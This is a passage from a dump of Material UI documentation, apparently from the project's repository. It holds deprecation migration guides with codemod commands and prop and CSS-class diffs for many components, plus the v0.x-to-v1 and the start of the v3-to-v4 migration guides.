}}\n >\n```\n\n### PaperProps\n\nThe Popover's `PaperProps` prop was deprecated in favor of `slotProps.paper`:\n\n```diff\n <Popover\n-  PaperProps={{ id: 'paper-id' }}\n+  slotProps={{ paper: { id: 'paper-id' } }}\n >\n```\n\n### TransitionComponent\n\nThe Popover's `TransitionComponent` prop was deprecated in favor of `slots.transition`:\n\n```diff\n <Popover\n-  TransitionComponent={Transition}\n+  slots={{ transition: Transition }}\n >\n```\n\n### TransitionProps\n\nThe Popover's `TransitionProps` prop was deprecated in favor of `slotProps.transition`:\n\n```diff\n <Popover\n-  TransitionProps={{ timeout: 500 }}\n+  slotProps={{ transition: { timeout: 500 } }}\n >\n```\n\n## Popper\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#popper-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/popper-props <path>\n```\n\n### components\n\nThe Popper's prop `components` was deprecated in favor of `slots`:\n\n```diff\n <Popper\n-  components={{ Root: CustomRoot }}\n+  slots={{ root: CustomRoot }}\n />\n```\n\n### componentsProps\n\nThe Popper's prop `componentsProps` was deprecated in favor of `slotProps`:\n\n```diff\n <Popper\n-  componentsProps={{ root: { id: 'root-id' } }}\n+  slotProps={{ root: { id: 'root-id' } }}\n />\n```\n\n## Rating\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#rating-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/rating-props <path>\n```\n\n### IconContainerComponent\n\nThe Rating's `IconContainerComponent` prop was deprecated in favor of `slotProps.icon.component`:\n\n```diff\n <Rating\n-  IconContainerComponent={CustomIconContainer}\n+  slotProps={{ icon: { component: CustomIconContainer }}}\n />\n```\n\n## Select\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#select-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/select-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the `icon` class and `variant` prop were removed.\n\nHere's how to migrate:\n\n```diff\n- .MuiSelect-iconFilled\n+ .MuiSelect-filled ~ .MuiSelect-icon\n- .MuiSelect-iconOutlined\n+ .MuiSelect-outlined ~ .MuiSelect-icon\n- .MuiSelect-iconStandard\n+ .MuiSelect-standard ~ .MuiSelect-icon\n```\n\n```diff\n import { selectClasses } from '@mui/material/Select';\n\n MuiSelect: {\n   styleOverrides: {\n     root: {\n-      [`& .${selectClasses.iconFilled}`]: {\n+      [`& .${selectClasses.filled} ~ .${selectClasses.icon}`]: {\n         color: 'red',\n        },\n-      [`& .${selectClasses.iconOutlined}`]: {\n+      [`& .${selectClasses.outlined} ~ .${selectClasses.icon}`]: {\n         color: 'red',\n        },\n-      [`& .${selectClasses.iconStandard}`]: {\n+      [`& .${selectClasses.standard} ~ .${selectClasses.icon}`]: {\n         color: 'red',\n        },\n     },\n   },\n },\n```\n\n## Slider\n\nUse the [slider-props-codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#slider-props) and [slider-classes-codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#slider-classes) codemods below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/slider-props <path>\nnpx @mui/codemod@latest deprecations/slider-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes composing the `color` prop values, as well as those composing the `size` prop values, have been removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiSlider-root .MuiSlider-thumbSizeSmall\n+.MuiSlider-root.MuiSlider-sizeSmall > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbSizeMedium\n+.MuiSlider-root.MuiSlider-sizeMedium > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorPrimary\n+.MuiSlider-root.MuiSlider-colorPrimary > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorSecondary\n+.MuiSlider-root.MuiSlider-colorSecondary > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorError\n+.MuiSlider-root.MuiSlider-colorError > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorInfo\n+.MuiSlider-root.MuiSlider-colorInfo > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorSuccess\n+.MuiSlider-root.MuiSlider-colorSuccess > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorWarning\n+.MuiSlider-root.MuiSlider-colorWarning > .MuiSlider-thumb\n```\n\n```diff\n import { sliderClasses } from '@mui/material/Slider';\n\n MuiSlider: {\n   styleOverrides: {\n     root: {\n-      [`& .${sliderClasses.thumbSizeSmall}`]: {\n+      [`&.${sliderClasses.sizeSmall} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbSizeMedium}`]: {\n+      [`&.${sliderClasses.sizeMedium} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorPrimary}`]: {\n+      [`&.${sliderClasses.colorPrimary} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorSecondary}`]: {\n+      [`&.${sliderClasses.colorSecondary} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorError}`]: {\n+      [`&.${sliderClasses.colorError} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorInfo}`]: {\n+      [`& .${sliderClasses.colorInfo} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorSuccess}`]: {\n+      [`&.${sliderClasses.colorSuccess} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorWarning}`]: {\n+      [`&.${sliderClasses.colorWarning} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n### components\n\nThe Slider's `components` prop was deprecated in favor of `slots`:\n\n```diff\n <Slider\n-  components={{ Track: CustomTrack }}\n+  slots={{ track: CustomTrack }}\n />\n```\n\n### componentsProps\n\nThe Slider's `componentsProps` prop was deprecated in favor of `slotProps`:\n\n```diff\n <Slider\n-  componentsProps={{ track: { id: 'track-id' } }}\n+  slotProps={{ track: { id: 'track-id' } }}\n />\n```\n\n## SwipeableDrawer\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#drawer-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/drawer-props <path>\n```\n\n### BackdropProps\n\nThe SwipeableDrawer's `BackdropProps` prop was deprecated in favor of `slotProps.backdrop`:\n\n```diff\n <SwipeableDrawer\n-  BackdropProps={backdropProps}\n+  slotProps={{ backdrop: backdropProps }}\n />\n```\n\n### PaperProps\n\nThe SwipeableDrawer's `PaperProps` prop was deprecated in favor of `slotProps.paper`:\n\n```diff\n <SwipeableDrawer\n-  PaperProps={paperProps}\n+  slotProps={{ paper: paperProps }}\n />\n```\n\n### SlideProps\n\nThe SwipeableDrawer's `SlideProps` prop was deprecated in favor of `slotProps.transition`:\n\n```diff\n <SwipeableDrawer\n-  SlideProps={slideProps}\n+  slotProps={{ transition: slideProps }}\n />\n```\n\n## ToggleButtonGroup\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#toggle-button-group-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/toggle-button-group-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes composing the `orientation` prop value and `grouped` CSS class have been removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiToggleButtonGroup-root .MuiToggleButtonGroup-groupedHorizontal\n+.MuiToggleButtonGroup-root.MuiToggleButtonGroup-horizontal > .MuiToggleButtonGroup-grouped\n-.MuiToggleButtonGroup-root .MuiToggleButtonGroup-groupedVertical\n+.MuiToggleButtonGroup-root.MuiToggleButtonGroup-vertical > .MuiToggleButtonGroup-grouped\n```\n\n```diff\n import { toggleButtonGroupClasses } from '@mui/material/ToggleButtonGroup';\n\n MuiButtonGroup: {\n   styleOverrides: {\n     root: {\n-      [`& .${toggleButtonGroupClasses.groupedHorizontal}`]: {\n+      [`&.${toggleButtonGroupClasses.horizontal} > .${toggleButtonGroupClasses.grouped}`]: {\n          color: 'red',\n        },\n-      [`& .${toggleButtonGroupClasses.groupedVertical}`]: {\n+      [`&.${toggleButtonGroupClasses.vertical} > .${toggleButtonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n     },\n   },\n },\n```\n\n## Tabs\n\nUse the [tab-props-codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#tabs-props), [tab-classes-codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#tabs-classes) codemods below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/tabs-classes <path>\nnpx @mui/codemod@latest deprecations/tabs-props <path>\n```\n\n### flexContainer and flexContainerVertical classes\n\nThe class `flexContainer` has been deprecated in favor of `list`. The CSS classes composing the `vertical` prop value and `flexContainer` CSS class have been removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiTabs-flexContainer\n+.MuiTabs-list\n-.MuiTabs-flexContainerVertical\n+.MuiTabs-list.MuiTabs-vertical\n```\n\n```diff\n import { tabsClasses } from '@mui/material/Tabs';\n\n MuiButtonGroup: {\n   styleOverrides: {\n     root: {\n-      [`& .${tabsClasses.flexContainer}`]: {\n+      [`& .${tabsClasses.list}`]: {\n          color: 'red',\n        },\n-      [`& .${tabsClasses.flexContainerVertical}`]: {\n+      [`& .${tabsClasses.list}.${tabsClasses.vertical}`]: {\n          color: 'red',\n       },\n     },\n   },\n },\n```\n\n### ScrollButtonComponent\n\nThe Tabs's `ScrollButtonComponent` prop was deprecated in favor of `slots.scrollButtons`:\n\n```diff\n <Tabs\n-  ScrollButtonComponent={ScrollButtonComponent}\n+  slots={{ scrollButtons: ScrollButtonComponent }}\n />\n```\n\n### TabScrollButtonProps\n\nThe Tabs's `TabScrollButtonProps` prop was deprecated in favor of `slotProps.scrollButtons`:\n\n```diff\n <Tabs\n-  TabScrollButtonProps={TabScrollButtonProps}\n+  slotProps={{ scrollButtons: TabScrollButtonProps }}\n />\n```\n\n### TabIndicatorProps\n\nThe Tabs's `TabIndicatorProps` prop was deprecated in favor of `slotProps.indicator`:\n\n```diff\n <Tabs\n-  TabIndicatorProps={TabIndicatorProps}\n+  slotProps={{ indicator: TabIndicatorProps }}\n />\n```\n\n### slots.StartScrollButtonIcon\n\nThe Tabs's `slots.StartScrollButtonIcon` prop was deprecated in favor of `slots.startScrollButtonIcon` (camelCase):\n\n```diff\n <Tabs\n-  slots={{ StartScrollButtonIcon: StartScrollButtonIcon }}\n+  slots={{ startScrollButtonIcon: StartScrollButtonIcon }}\n />\n```\n\n### slots.EndScrollButtonIcon\n\nThe Tabs's `slots.EndScrollButtonIcon` prop was deprecated in favor of `slots.endScrollButtonIcon` (camelCase):\n\n```diff\n <Tabs\n-  slots={{ EndScrollButtonIcon: EndScrollButtonIcon }}\n+  slots={{ endScrollButtonIcon: EndScrollButtonIcon }}\n />\n```\n\n## Tab\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#tab-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/tab-classes <path>\n```\n\n### Composed CSS classes\n\nThe `iconWrapper` class is removed.\n\nHere's how to migrate:\n\n```diff\n- .MuiTab-iconWrapper\n+ .MuiTab-icon\n```\n\n```diff\n import { tabClasses } from '@mui/material/Tab';\n\n MuiTab: {\n   styleOverrides: {\n     root: {\n-      [`& .${tabClasses.iconWrapper}`]: {\n+      [`& .${tabClasses.icon}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n## TableSortLabel\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#table-sort-label-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/table-sort-label-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the `direction` prop and `icon` prop were removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiTableSortLabel-iconDirectionDesc\n+.MuiTableSortLabel-directionDesc > .MuiTableSortLabel-icon\n-.MuiTableSortLabel-iconDirectionAsc\n+.MuiTableSortLabel-directionAsc > .MuiTableSortLabel-icon\n```\n\n```diff\n import { tableSortLabelClasses } from '@mui/material/TableSortLabel';\n\n MuiTableSortLabel: {\n   styleOverrides: {\n     root: {\n-      [`& .${tableSortLabelClasses.iconDirectionDesc}`]: {\n+      [`&.${tableSortLabelClasses.directionDesc} > .${tableSortLabelClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${tableSortLabelClasses.iconDirectionAsc}`]: {\n+      [`&.${tableSortLabelClasses.directionAsc} > .${tableSortLabelClasses.icon}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n## TextField\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#text-field-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/text-field-props <path>\n```\n\n### \\*Props props\n\nAll of the TextField's slot props (`*Props`) props were deprecated in favor of equivalent `slotProps` entries:\n\n```diff\n <TextField\n-  InputProps={CustomInputProps}\n-  inputProps={CustomHtmlInputProps}\n-  SelectProps={CustomSelectProps}\n-  InputLabelProps={CustomInputLabelProps}\n-  FormHelperTextProps={CustomFormHelperTextProps}\n+  slotProps={{\n+    input: CustomInputProps\n+    htmlInput: CustomHtmlInputProps\n+    select: CustomSelectProps\n+    inputLabel: CustomInputLabelProps\n+    formHelperText: CustomFormHelperTextProps\n+  }}\n />\n```\n\n## Tooltip\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#tooltip-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/tooltip-props <path>\n```\n\n### components\n\nThe Tooltip's prop `components` was deprecated in favor of `slots`:\n\n```diff\n <Tooltip\n-  components={{ Arrow: CustomArrow }}\n+  slots={{ arrow: CustomArrow }}\n />\n```\n\n### componentsProps\n\nThe Tooltip's prop `componentsProps` was deprecated in favor of `slotProps`:\n\n```diff\n <Tooltip\n-  componentsProps={{ arrow: { id: 'arrow-id' } }}\n+  slotProps={{ arrow: { id: 'arrow-id' } }}\n />\n```\n\n### \\*Component props\n\nAll of the Tooltip's slot (`*Component`) props were deprecated in favor of equivalent `slots` entries:\n\n```diff\n <Tooltip\n-  PopperComponent={CustomPopperComponent}\n-  TransitionComponent={CustomTransitionComponent}\n+  slots={{\n+    popper: CustomPopperComponent,\n+    transition: CustomTransitionComponent,\n+  }}\n />\n```\n\n### \\*Props props\n\nAll of the Tooltip's slot props (`*Props`) props were deprecated in favor of equivalent `slotProps` entries:\n\n```diff\n <Tooltip\n-  PopperProps={CustomPopperProps}\n-  TransitionProps={CustomTransitionProps}\n+  slotProps={{\n+    popper: CustomPopperProps,\n+    transition: CustomTransitionProps,\n+  }}\n />\n```\n\n## Typography\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#typography-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/typography-props <path>\n```\n\n### paragraph\n\nThe Typography's `paragraph` prop was deprecated. If you want to render `p` when using Typography, pass `component=\"p\"`.\n\n```diff\n <Typography\n   variant=\"subtitle1\"\n-  paragraph\n+  component=\"p\"\n />\n```\n\nNote that Typography already renders a `p` by default, so there's no need to pass `component=\"p\"` when not explicitly passing a variant.\nThis is because `body1` is the default variant in Typography, and `body1` and `body2` variants render `p`, so there's no need to pass `component=\"p\"` when using one of these variants.\n\nThe `16px` of margin-bottom that was automatically added to the element when using `paragraph` must be manually handled now.\nThe codemod that removes the `paragraph` prop adds `sx={{ marginBottom: '16px' }}` to the Typography component.\n\n## StepLabel\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#step-label-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/step-label-props <path>\n```\n\n### componentsProps\n\nThe StepLabel's `componentsProps` prop was deprecated in favor of `slotProps`:\n\n```diff\n <StepLabel\n-  componentsProps={{ label: labelProps }}\n+  slotProps={{ label: labelProps }}\n />\n```\n\n### StepIconComponent\n\nThe StepLabel's `StepIconComponent` prop was deprecated in favor of `slots.stepIcon`:\n\n```diff\n <StepLabel\n-  StepIconComponent={StepIconComponent}\n+  slots={{ stepIcon: StepIconComponent }}\n />\n```\n\n### StepIconProps\n\nThe StepLabel's `StepIconProps` prop was deprecated in favor of `slotProps.stepIcon`:\n\n```diff\n <StepLabel\n-  StepIconProps={StepIconProps}\n+  slotProps={{ stepIcon: StepIconProps }}\n />\n```\n\n## StepConnector\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#step-connector-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/step-connector-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the `line` CSS class and `orientation` prop values were removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiStepConnector-lineHorizontal\n+.MuiStepConnector-horizontal > .MuiStepConnector-line\n-.MuiStepConnector-lineVertical\n+.MuiStepConnector-vertical > .MuiStepConnector-line\n```\n\n```diff\n import { stepConnectorClasses } from '@mui/material/StepConnector';\n\n MuiStepConnector: {\n   styleOverrides: {\n     root: {\n-      [`& .${stepConnectorClasses.lineHorizontal}`]: {\n+      [`&.${stepConnectorClasses.horizontal} > .${stepConnectorClasses.line}`]: {\n         color: 'red',\n       },\n-      [`& .${stepConnectorClasses.lineVertical}`]: {\n+      [`&.${stepConnectorClasses.vertical} > .${stepConnectorClasses.line}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n## StepContent\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#step-content-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/step-content-props <path>\n```\n\n### TransitionComponent\n\nThe StepContent's `TransitionComponent` prop was deprecated in favor of `slots.transition`:\n\n```diff\n <StepContent\n-  TransitionComponent={CustomTransition}\n+  slots={{ transition: CustomTransition }}\n />\n```\n\n### TransitionProps\n\nThe StepContent's `TransitionProps` prop was deprecated in favor of `slotProps.transition`:\n\n```diff\n <StepContent\n-  TransitionProps={{ unmountOnExit: true }}\n+  slotProps={{ transition: { unmountOnExit: true } }}\n />\n```\n\n## SpeedDial\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#speed-dial-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@next deprecations/speed-dial-props <path>\n```\n\n### TransitionComponent\n\nThe SpeedDial's `TransitionComponent` prop was deprecated in favor of `slots.transition`:\n\n```diff\n <SpeedDial\n-  TransitionComponent={CustomTransition}\n+  slots={{ transition: CustomTransition }}\n```\n\n### TransitionProps\n\nThe SpeedDial's `TransitionProps` prop was deprecated in favor of `slotProps.transition`:\n\n```diff\n <SpeedDial\n-  TransitionProps={{ unmountOnExit: true }}\n+  slotProps={{ transition: { unmountOnExit: true } }}\n />\n```\n\n## SpeedDialAction\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#speed-dial-action-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/speed-dial-action-props <path>\n```\n\n### FabProps\n\nThe SpeedDialAction's `FabProps` prop was deprecated in favor of `slotProps.fab`:\n\n```diff\n <SpeedDialAction\n-  FabProps={CustomFabProps}\n+  slotProps={{ fab: CustomFabProps }}\n```\n\n### TooltipClasses\n\nThe SpeedDialAction's `TooltipClasses` prop was deprecated in favor of `slotProps.tooltip.classes`:\n\n```diff\n <SpeedDialAction\n-  TooltipClasses={{ tooltip: 'foo' }}\n+  slotProps={{ tooltip: { classes: { tooltip: 'foo' } } }}\n />\n```\n\n### tooltipPlacement\n\nThe SpeedDialAction's `tooltipPlacement` prop was deprecated in favor of `slotProps.tooltip.placement`:\n\n```diff\n <SpeedDialAction\n-  tooltipPlacement=\"top\"\n+  slotProps={{ tooltip: { placement: 'top' } }}\n />\n```\n\n### tooltipTitle\n\nThe SpeedDialAction's `tooltipTitle` prop was deprecated in favor of `slotProps.tooltip.title`:\n\n```diff\n <SpeedDialAction\n-  tooltipTitle=\"foo\"\n+  slotProps={{ tooltip: { title: 'foo' } }}\n />\n```\n\n### tooltipOpen\n\nThe SpeedDialAction's `tooltipOpen` prop was deprecated in favor of `slotProps.tooltip.open`:\n\n```diff\n <SpeedDialAction\n-  tooltipOpen\n+  slotProps={{ tooltip: { open: true } }}\n />\n```\n"
  },
  {
    "path": "docs/data/material/migration/migration-v0x/migration-v0x.md",
    "content": "# Migration from v0.x to v1\n\n<p class=\"description\">Yeah, v1 has been released! Take advantage of 2 years worth of effort.</p>\n\n## FAQ\n\n### Woah - the API is way different! Does that mean 1.0 is completely different, I'll have to learn the basics all over again, and migrating will be practically impossible?\n\nI'm glad you asked! The answer is no. The core concepts haven't changed.\nYou will notice that the API provides more flexibility, but this has a cost –\nlower-level components that abstract less complexity.\n\n### What motivated such a large change?\n\nMaterial UI was started [4 years ago](https://github.com/mui/material-ui/commit/28b768913b75752ecf9b6bb32766e27c241dbc46).\nThe ecosystem has evolved a lot since then, we have also learned a lot.\n[@nathanmarks](https://github.com/nathanmarks/) started an ambitious task, rebuilding Material UI from the **ground-up**\ntaking advantage of this knowledge to address long-standing issues. To name some of the major changes:\n\n- New styling solution using CSS-in-JS (better [customization](/material-ui/customization/how-to-customize/) power, better performance)\n- New theme handling (nesting, self-supporting, etc.)\n- Blazing fast documentation thanks to [Next.js](https://github.com/vercel/next.js)\n- Way better [test coverage](/material-ui/guides/testing/) (99%+, run on all the major browsers, [visual regression tests](https://app.argos-ci.com/mui/material-ui/builds))\n- Full [server-side rendering](/material-ui/guides/server-rendering/) support\n- Wide range of [supported browsers](/material-ui/getting-started/supported-platforms/)\n\n### Where should I start in a migration?\n\n1. Start by installing the v1.x version of Material UI along side the v0.x version.\n\nWith yarn:\n\n```bash\nyarn add material-ui\nyarn add @material-ui/core\n```\n\nOr with npm:\n\n```bash\nnpm install material-ui\nnpm install @material-ui/core\n```\n\nthen\n\n```js\nimport FlatButton from 'material-ui/FlatButton'; // v0.x\nimport Button from '@material-ui/core/Button'; // v1.x\n```\n\n2. Run [the migration helper](https://github.com/mui/material-ui/tree/master/packages/mui-codemod) on your project.\n3. `MuiThemeProvider` is optional for v1.x., but if you have a custom theme, you are free to use v0.x and v1.x versions of the component at the same time, like this:\n\n```jsx\nimport * as React from 'react';\nimport { MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles'; // v1.x\nimport { MuiThemeProvider as V0MuiThemeProvider } from 'material-ui';\nimport getMuiTheme from 'material-ui/styles/getMuiTheme';\n\nconst theme = createMuiTheme({\n  /* theme for v1.x */\n});\nconst themeV0 = getMuiTheme({\n  /* theme for v0.x */\n});\n\nfunction App() {\n  return (\n    <MuiThemeProvider theme={theme}>\n      <V0MuiThemeProvider muiTheme={themeV0}>{/*Components*/}</V0MuiThemeProvider>\n    </MuiThemeProvider>\n  );\n}\n\nexport default App;\n```\n\n4. After that, you are free to migrate one component instance at the time.\n\n## Components\n\n### Autocomplete\n\nMaterial UI doesn't provide a high-level API for solving this problem.\nYou're encouraged you to explore [the solutions the React community has built](/material-ui/react-autocomplete/).\n\nIn the future, we will look into providing a simple component to solve the simple use cases: [#9997](https://github.com/mui/material-ui/issues/9997).\n\n### Svg Icon\n\nRun [the migration helper](https://github.com/mui/material-ui/tree/master/packages/mui-codemod) on your project.\n\nThis will apply a change such as the following:\n\n```diff\n-import AddIcon from 'material-ui/svg-icons/Add';\n+import AddIcon from '@mui/icons-material/Add';\n\n <AddIcon />\n```\n\n### Flat Button\n\n```diff\n-import FlatButton from 'material-ui/FlatButton';\n+import Button from '@material-ui/core/Button';\n\n-<FlatButton />\n+<Button />\n```\n\n### Raised Button\n\nRaisedButton upgrade path:\n\n```diff\n-import RaisedButton from 'material-ui/RaisedButton';\n+import Button from '@material-ui/core/Button';\n\n-<RaisedButton />\n+<Button variant=\"contained\" />\n```\n\n### Subheader\n\n```diff\n-import Subheader from 'material-ui/Subheader';\n+import ListSubheader from '@material-ui/core/ListSubheader';\n\n-<Subheader>Sub Heading</Subheader>\n+<ListSubheader>Sub Heading</ListSubheader>\n```\n\n### Toggle\n\n```diff\n-import Toggle from 'material-ui/Toggle';\n+import Switch from '@material-ui/core/Switch';\n\n-<Toggle\n-  toggled={this.state.checkedA}\n-  onToggle={this.handleToggle}\n-/>\n+<Switch\n+  checked={this.state.checkedA}\n+  onChange={this.handleSwitch}\n+/>\n```\n\n### Menu Item\n\n```diff\n-import MenuItem from 'material-ui/MenuItem';\n+import MenuItem from '@material-ui/core/MenuItem';\n\n-<MenuItem primaryText=\"Profile\" />\n+<MenuItem>Profile</MenuItem>\n```\n\n### Font Icon\n\n```diff\n-import FontIcon from 'material-ui/FontIcon';\n+import Icon from '@material-ui/core/Icon';\n\n-<FontIcon>home</FontIcon>\n+<Icon>home</Icon>\n```\n\n### Circular Progress\n\n```diff\n-import CircularProgress from 'material-ui/CircularProgress';\n+import CircularProgress from '@material-ui/core/CircularProgress';\n\n-<CircularProgress mode=\"indeterminate\" />\n+<CircularProgress variant=\"indeterminate\" />\n```\n\n### Drop Down Menu\n\n```diff\n-import DropDownMenu from 'material-ui/DropDownMenu';\n+import Select from '@material-ui/core/Select';\n\n-<DropDownMenu></DropDownMenu>\n+<Select value={this.state.value}></Select>\n```\n"
  },
  {
    "path": "docs/data/material/migration/migration-v3/migration-v3.md",
    "content": "# Migration from v3 to v4\n\n<p class=\"description\">Yeah, v4 has been released!</p>\n\nLooking for the v3 docs? You can [find the latest version here](https://mui.com/versions/).\n\n:::info\nThis document is a work in progress.\nHave you upgraded your site and run into something that's not covered here?\n[Add your changes on GitHub](https://github.com/mui/material-ui/blob/HEAD/docs/data/material/migration/migration-v3/migration-v3.md).\n:::\n\n## Introduction\n\nThis is a reference for upgrading your site from Material UI v3 to v4.\nWhile there's a lot covered here, you probably won't need to do everything for your site.\nWe'll do our best to keep things easy to follow, and as sequential as possible so you can quickly get rocking on v4!\n\n## Why you should migrate\n\nThis documentation page covers the **how** of migrating from v3 to v4.\nThe **why** is covered in the [release blog post on Medium](https://mui.com/blog/material-ui-v4-is-out/).\n\n## Updating your dependencies\n\nThe very first thing you will need to do is to update your dependencies.\n\n### Update Material UI version\n\nYou need to update your `package.json` to use the latest version of Material UI.\n\n```json\n\"dependencies\": {\n  \"@material-ui/core\": \"^4.0.0\"\n}\n```\n\nOr run\n\n```bash\nnpm install @material-ui/core\n\nor\n\nyarn add @material-ui/core\n```\n\n### Update React version\n\nThe minimum required version of React was increased from `react@^16.3.0` to `react@^16.8.0`.\nThis allows us to rely on [Hooks](https://react.dev/reference/react/hooks) (we no longer use the class API).\n\n### Update Material UI Styles version\n\nIf you were previously using `@material-ui/styles` with v3 you need to update your `package.json` to use the latest version of Material UI Styles.\n\n```json\n\"dependencies\": {\n  \"@material-ui/styles\": \"^4.0.0\"\n}\n```\n\nOr run\n\n```bash\nnpm install @material-ui/styles\n\nor\n\nyarn add @material-ui/styles\n```\n\n## Handling breaking changes\n\n### Core\n\n- Every component forward their ref.\n  This is implemented by using `React.forwardRef()`.\n  This affects the internal component tree and display name and therefore might break shallow or snapshot tests.\n  `innerRef` will no longer return a ref to the instance (or nothing if the inner component is a function component) but a ref to its root component.\n  The corresponding API docs list the root component.\n\n### Styles\n\n- ⚠️ Material UI depends on JSS v10. JSS v10 is not backward compatible with v9.\n  Make sure JSS v9 is not installed in your environment.\n  (Removing `react-jss` from your `package.json` can help).\n  The StylesProvider component replaces the JssProvider one.\n- Remove the first option argument of `withTheme()`.\n  (The first argument was a placeholder for a potential future option that never arose.)\n\n  It matches the [emotion API](https://emotion.sh/docs/introduction) and the [styled-components API](https://styled-components.com).\n\n  ```diff\n  -const DeepChild = withTheme()(DeepChildRaw);\n  +const DeepChild = withTheme(DeepChildRaw);\n  ```\n\n- Rename `convertHexToRGB` to `hexToRgb`.\n\n  ```diff\n  -import { convertHexToRgb } from '@material-ui/core/styles/colorManipulator';\n  +import { hexToRgb } from '@material-ui/core/styles';\n  ```\n\n- Scope the [keyframes API](https://cssinjs.org/jss-syntax/#keyframes-animation). You should apply the following changes in your codebase.\n  It helps isolating the animation logic:\n\n  ```diff\n    rippleVisible: {\n      opacity: 0.3,\n  -   animation: 'mui-ripple-enter 100ms cubic-bezier(0.4, 0, 0.2, 1)',\n  +   animation: '$mui-ripple-enter 100ms cubic-bezier(0.4, 0, 0.2, 1)',\n    },\n    '@keyframes mui-ripple-enter': {\n      '0%': {\n        opacity: 0.1,\n      },\n      '100%': {\n        opacity: 0.3,\n      },\n    },\n  ```\n\n### Theme\n\n- The `theme.palette.augmentColor()` method no longer performs a side effect on its input color.\n  To use it correctly, you have to use the returned value.\n\n  ```diff\n  -const background = { main: color };\n  -theme.palette.augmentColor(background);\n  +const background = theme.palette.augmentColor({ main: color });\n\n   console.log({ background });\n  ```\n\n- You can safely remove the next variant from the theme creation:\n\n  ```diff\n   typography: {\n  -  useNextVariants: true,\n   },\n  ```\n\n- `theme.spacing.unit` usage is deprecated, you can use the new API:\n\n  ```diff\n   label: {\n     [theme.breakpoints.up('sm')]: {\n  -    paddingTop: theme.spacing.unit * 12,\n  +    